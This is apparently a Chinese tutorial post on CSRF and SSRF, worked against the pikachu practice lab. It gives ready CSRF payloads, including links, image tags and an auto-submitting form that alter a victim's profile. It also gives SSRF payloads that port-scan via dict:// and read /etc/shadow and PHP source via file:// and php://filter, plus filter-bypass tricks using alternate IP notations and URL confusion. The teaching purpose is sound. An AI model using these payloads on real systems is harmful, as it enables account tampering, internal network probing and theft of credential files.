IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CSRF、SSRF -> 正文阅读

[PHP知识库]CSRF、SSRF

CSRF

概述

CSRF,跨站请求伪造(Cross-site request forgery)是一种挟制用户,在其当前已登录的Web应用程序上执行非本意的操作的攻击方法。
当用户访问含有恶意代码的网页(GET型),或者点击了包含恶意请求的连接时(POST型),会向指定正常网站发送非本人意愿的数据请求包,如果此时用户恰好登录了该正常网站,就会执行该恶意代码的请求,从而造成CSRFimage-20211008142530215

与XSS不同的是,CSRF是利用用户的权限对用户数据进行操作,而XSS是直接获取用户权限

利用

以pikachu靶场为例

GET

在修改用户信息时,通过抓包获取到修改数据时的请求代码

?sex=boy&phonenum=12345678910&add=nba+lakes&email=kobe%40pikachu.com&submit=submit

image-20211007171203701

构造payload

<!-- url-->
http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111111111&add=nba+lakes&email=kobe%40pikachu.com&submit=submit

<!-- 超链接-->
<a href="http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111111111&add=nba+lakes&email=kobe%40pikachu.com&submit=submit">点一点</a>

<!-- 资源包含-->
<img src="http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111145354311&add=nba+lakes&email=kobe%40pikachu.com&submit=submit"></img><!-- 可使用的标签还有audio、video、embed、script、applet、object、link、iframe等-->

当受害者访问了这个url,或带有payload的网页时,将会发送数据包

image-20211007175003485

回到登录页面,发现信息被修改

image-20211007175028882

POST

抓取正常修改数据包

image-20211007214926602

构造表单

<html>
<head>
	<title>csrf_post</title>
	<script>
    window.onload = function() {
    document.getElementById("submit").click();
  }
 </script>
</head>
<body>
       <form action="http://192.168.1.133:88/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
       	 <input type="hidden" name="sex" value="girl"><br>
       	 <input type="hidden" name="phonenum" value="12345678910"><br>
       	 <input type="hidden" name="add" value="china"><br>
       	 <input type="hidden" name="email" value="hacker@hack.com"><br>
       	 <input id="submit" type="submit" name="submit" value="submit" />
       </form>
</body>
</html>

当用户访问该html页面时,将会自动向http://192.168.1.133:88/vul/csrf/csrfpost/csrf_post_edit.php发送修改数据包,用户信息被修改

TOKEN

CSRF的主要问题是敏感操作的数据包容易被伪造,为了让这个数据包不容易被伪造,我们可以采取每次请求,都增加一个随机码(TOKEN,一般以SESSION值作为TOKEN)的方法,这样后台每次都会对随机码进行验证,只有随机码与服务器端一致时,才接受该数据包image-20211007221349863

SSRF

image-20211008165239673

概述

SSRF,服务器端请求伪造(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标一般是外网无法访问的内部服务器

SSRF 形成的原因大都是由于服务端提供了从其他内部服务器获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。SSRF是利用存在缺陷的Web应用,将其作为代理,伪造服务器请求,攻击远程和本地的内部服务器image-20211008144503595

挖掘漏洞

功能

  • 分享:通过URL地址分享网页内容
  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译:通过URL地址翻译对应文本内容 如:百度,有道
  • 图片加载与下载:通过URL地址加载与下载图片
  • 图片 文章收藏功能
  • 未公开的API实现以及其他调用URL的功能

URL

  • share
  • wap
  • url
  • link
  • src
  • source
  • target
  • u
  • 3g
  • display
  • sourceURL
  • imageURL
  • domain

验证

  1. 以URL http://www.example.com/ssrf.php?image=http://www.test.com/img/1.png 为例,若打开该图片的地址与上述URL中image参数的地址相同,则不存在SSRF漏洞
  2. 使用抓包工具判断。由于SSRF是服务器请求漏洞,所以在加载图片、文件时,本地浏览器不应该有图片的请求。以URL http://www.example.com/ssrf.php?image=http://www.test.com/img/1.png 为例,若请求头为GET /ssrf.php?image=http://www.test.com/img/1.png HTTP/1.1 ,则说明不存在SSRF漏洞

利用

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用方式

可以使用各种协议对SSRF漏洞进行利用

image-20211008162510027

访问文件

?url=http://www.example.com/1.html

端口扫描

?url=dict://127.0.0.1/80
?url=dict://127.0.0.1/3306
image-20211008163340960

文件读取

  • file伪协议

    ?url=file:///c:\windows\system32\drivers\etc\hostsimage-20211008170003397
    ?url=file:///etc/shadow

  • php伪协议

    ?url=php://filter/read=convert.base64-encode/resource=./ssrf.phpimage-20211008165946242

绕过

更改IP地址写法

以192.168.0.1为例

  • 八进制:0300.0250.0.1
  • 十六进制:0xC0.0xA8.0.1
  • 十进制:3232235521
  • 十六进制整数格式:0xC0A80001
  • 省略写法:192.168.1

IP地址中的每一位,各个进制可以混用

访问改写后的 IP 地址时,Apache 会报 400 Bad Request,但 Nginx、MySQL 等其他服务仍能正常工作

以本地回环地址127.0.0.1为例

  • 在linux下,127.0.0.1与0.0.0.0都指向本地
  • 回环地址实际上是127.0.0.1/8,访问任意一个127.x.x.x都和127.0.0.1是一个效果

URL参数解析不当

http:baidu.com@192.168.0.1http://192.168.0.1#baidu.com,后端程序可能判断为访问的是baidu.com,但实际访问的地址是192.168.0.1

常用的绕过符号

  • @:http:baidu.com@192.168.0.1

  • #:http://192.168.0.1#baidu.com

  • \:http://192.168.0.1\baidu.com

    http://192.168.0.1\\baidu.com

  • ?:http://192.168.0.1?baidu.com

URL跳转

如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url重定向地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题

http://192.168.1.133:88/vul/urlredirect/urlredirect.php?url=http://192.168.1.133:88/vul/ssrf/ssrf_info/info1.php

的(可能是用户传参,或者之前预埋在前端页面的url重定向地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题

http://192.168.1.133:88/vul/urlredirect/urlredirect.php?url=http://192.168.1.133:88/vul/ssrf/ssrf_info/info1.php

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-11 17:18:30  更:2021-10-11 17:19:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 14:00:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计